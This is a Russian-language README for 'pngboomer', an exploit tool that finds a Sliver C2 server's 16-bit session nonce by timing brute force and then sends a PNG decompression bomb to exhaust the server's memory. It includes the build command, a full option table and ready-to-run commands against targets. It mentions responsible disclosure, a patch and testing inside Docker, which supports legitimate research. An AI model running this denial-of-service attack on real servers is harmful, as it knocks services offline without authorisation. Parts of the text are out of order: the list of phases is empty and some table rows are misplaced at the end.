
Sliver HTTP(S) C2 PNG-бомба DoS-эксплойт — GHSA-663m-7x7m-g4fw (CVE-2026-77622)
Эксплойт типа «отказ в обслуживании» для HTTP(S)-слушателя Sliver C2. Подбирает перебором per-session nonce кодирования PNG и доставляет «бомбу декомпрессии», которая исчерпывает память сервера.
Опубликовано как GHSA-663m-7x7m-g4fw.
Канал C2 Sliver по HTTP(S) оборачивает сообщения внутри PNG-изображений. Каждой сессии назначается случайный nonce в диапазоне [1, 65537), и сервер декодирует PNG-данные только из запросов, чей параметр ?n= совпадает с nonce сессии. Это механизм маршрутизации, а не проверка аутентификации — пространство ключей составляет 16 бит.
Сервер декодирует PNG с помощью Go image.Decode(), который выделяет width × height × bytes_per_pixel в памяти. PNG-файл с заявленными размерами 32767×32767 RGBA сжимается примерно до 3 КБ в канале передачи, но распаковывается более чем в 4 ГБ в памяти. Сервер не накладывает ограничений на декодируемые размеры.
Эксплойт работает в три фазы:
Версии Sliver C2 до исправления, указанного в GHSA-663m-7x7m-g4fw. Любой сервер Sliver с запущенным HTTP- или HTTPS-слушателем подвержен уязвимости.
go build -o pngboomer
Без внешних зависимостей. Только стандартная библиотека.
./pngboomer -url http://target:8080/ [options]
| Флаг | По умолчанию | Описание |
|---|---|---|
-url | http://127.0.0.1:8080/ | Базовый URL HTTP C2 Sliver |
-workers | 8 | Параллельность сканирования |
-probe-w | 2000 | Ширина пробного PNG |
-probe-h | 2000 | Высота пробного PNG |
-probe-color | 2 | Тип цвета пробы (2=RGB, 6=RGBA) |
-kill-w | 32767 | Ширина PNG для уничтожения |
-kill-h | 32767 | Высота PNG для уничтожения |
-kill-color | 6 | Тип цвета для уничтожения (2=RGB, 6=RGBA) |
-threshold-ms | 50 | Минимальный порог времени отклика для обнаружения nonce |
-outlier-mult | 15.0 | Адаптивный порог = базовый p99 × это значение |
-calibrate | 16 | Количество калибровочных выборок |
-verify | 3 | Количество повторных проб на каждый кандидат nonce |
-max-nonce | 65537 | Верхняя граница диапазона nonce (модуль Sliver) |
-probe-timeout | 5s | HTTP-таймаут на одну пробу |
-kill-timeout | 180s | HTTP-таймаут запроса на уничтожение |
-target-cap-mb | 10240 | Заявленный лимит памяти цели (проверка безопасности) |
-nonce | 0 | Пропустить сканирование, использовать этот nonce напрямую |
-scan-only | false | Найти nonce и вывести его без отправки уничтожения |
-no-confirm | false | Пропустить TCP-опрос о смерти цели после уничтожения |
Сканирование и уничтожение по умолчанию против локальной Docker-цели:
./pngboomer -url http://127.0.0.1:8080/ -target-cap-mb 10240
Только сканирование (найти nonce без уничтожения):
./pngboomer -url https://c2.target.com/ -scan-only
Пропустить сканирование, если nonce уже известен:
./pngboomer -url http://target:8080/ -nonce 41337
Бомба уничтожения вызывает декодирование PNG объёмом в несколько ГБ на цели. При тестировании запускайте сервер Sliver внутри Docker-контейнера с --memory=<N>g и передавайте -target-cap-mb N, чтобы инструмент отказывался от опасных комбинаций worker/проба, которые превысили бы память цели.
Пробный PNG достаточно велик, чтобы его декодирование занимало заметно больше времени, чем быстрый отказ сервера при неверном nonce. Сканирование перемешивает диапазон nonce и распределяет его по worker-горутинам. Каждый worker отправляет пробный PNG с кандидатом nonce и измеряет время отклика.
Когда время отклика превышает адаптивный порог (большее из -threshold-ms и baseline_p99 × outlier-mult), кандидат проверяется повторными пробами -verify раз. Если большинство повторных проб также превышают порог, nonce подтверждается. Если нет — кандидат заносится в чёрный список, и сканирование продолжается. Допускается до 8 ложноположительных «всплесков», прежде чем сканирование сдаётся.
Сообщено в Bishop Fox через приватный процесс уведомлений GitHub. Патч написал CalebKingan.
-no-color| false |
| Отключить ANSI-цветной вывод |
-silent | false | Выводить только обнаруженный nonce в stdout |